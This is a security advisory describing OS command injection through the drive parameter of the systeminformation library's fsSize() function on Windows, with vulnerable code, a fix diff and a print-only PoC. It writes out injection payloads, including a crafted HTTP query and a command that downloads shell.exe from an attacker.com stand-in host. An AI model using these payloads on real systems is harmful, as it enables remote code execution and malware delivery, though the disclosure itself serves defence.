systeminformation has a Command Injection vulnerability in fsSize() function on Windows

Summary

The fsSize() function in systeminformation is vulnerable to OS Command Injection (CWE-78) on Windows systems. The optional drive parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.

Affected Platforms: Windows only

CVSS Breakdown:

• Attack Vector (AV:N): Network - if used in a web application/API
• Attack Complexity (AC:H): High - requires application to pass user input to fsSize()
• Privileges Required (PR:N): None - no authentication required at library level
• User Interaction (UI:N): None
• Scope (S:U): Unchanged - executes within Node.js process context
• Confidentiality/Integrity/Availability (C:H/I:H/A:H): High impact if exploited

Note: The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to fsSize(), it is not vulnerable.

Details

Vulnerable Code Location

File: lib/filesystem.js, Line 197

if (_windows) {
  try {
    const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
    util.powerShell(cmd).then((stdout, error) => {

The drive parameter is concatenated directly into the PowerShell command string without any sanitization.

Why This Is a Vulnerability

This is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using util.sanitizeShellString():

The sanitizeShellString() function (defined at lib/util.js:731) removes dangerous characters like ;, &, |, $, `, #, etc., which would prevent command injection.

PoC

Attack Scenario

An application exposes disk information via an API and passes user input to si.fsSize():

// Vulnerable application example
const si = require('systeminformation');
const http = require('http');
const url = require('url');

http.createServer(async (req, res) => {
  const parsedUrl = url.parse(req.url, true);
  const drive = parsedUrl.query.drive; // User-controlled input
  
  // VULNERABLE: User input passed directly to fsSize()
  const diskInfo = await si.fsSize(drive);
  
  res.end(JSON.stringify(diskInfo));
}).listen(3000);

Exploitation

Normal Request:

GET /api/disk?drive=C:

Malicious Request (Command Injection):

GET /api/disk?drive=C:;%20whoami%20%23

Command Construction Demonstration

The following demonstrates how commands are constructed with malicious input:

Normal usage:

Input: "C:"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl

With injection payload C:; whoami #:

Input: "C:; whoami #"
Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl
                                                                                                                            ↑         ↑
                                                                                                            semicolon terminates    # comments out rest
                                                                                                            first command

PowerShell will execute:

1. Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C: (original command)
2. whoami (injected command)
3. Everything after # is commented out

PoC Script

/**
 * Command Injection PoC - systeminformation fsSize()
 * 
 * Run with: node poc.js
 * Requires: npm install systeminformation
 */

const os = require('os');

// Simulates the vulnerable command construction from filesystem.js:197
function simulateVulnerableCommand(drive) {
  const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
  return cmd;
}

// Test payloads
const payloads = [
  { name: 'Normal', input: 'C:' },
  { name: 'Command Execution', input: 'C:; whoami #' },
  { name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\temp\\procs.txt #' },
  { name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #' },
];

console.log('=== Command Injection PoC ===\n');
console.log(`Platform: ${os.platform()}`);
console.log(`Note: Actual exploitation requires Windows\n`);

payloads.forEach(p => {
  console.log(`[${p.name}]`);
  console.log(`  Input: ${p.input}`);
  console.log(`  Command: ${simulateVulnerableCommand(p.input)}\n`);
});

PoC Output

=== Command Injection PoC ===

Platform: win32
Note: Actual exploitation requires Windows

[Normal]
  Input: C:
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl

[Command Execution]
  Input: C:; whoami #
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl

[Data Exfiltration]
  Input: C:; Get-Process | Out-File C:\temp\procs.txt #
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\temp\procs.txt # | fl

[Remote Payload]
  Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe #
  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\temp\shell.exe # | fl

As shown, the attacker's commands are injected directly into the PowerShell command string.

Impact

Who Is Affected?

• Applications running systeminformation on Windows that pass user-controlled input to fsSize(drive)
• Web applications, APIs, or CLI tools that accept drive letters from users
• Monitoring dashboards that allow users to specify which drives to query

Potential Attack Scenarios

1. Remote Code Execution (RCE) - Execute arbitrary commands with Node.js process privileges
2. Data Exfiltration - Read sensitive files and exfiltrate data
3. Privilege Escalation - If Node.js runs with elevated privileges
4. Lateral Movement - Use the compromised system to attack internal network
5. Ransomware Deployment - Download and execute malicious payloads

Recommended Fix

Apply util.sanitizeShellString() to the drive parameter, consistent with other functions in the codebase:

  if (_windows) {
    try {
+     const driveSanitized = drive ? util.sanitizeShellString(drive, true) : '';
-     const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;
+     const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`;
      util.powerShell(cmd).then((stdout, error) => {

The true parameter enables strict mode which removes additional characters like spaces and parentheses.

systeminformation thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.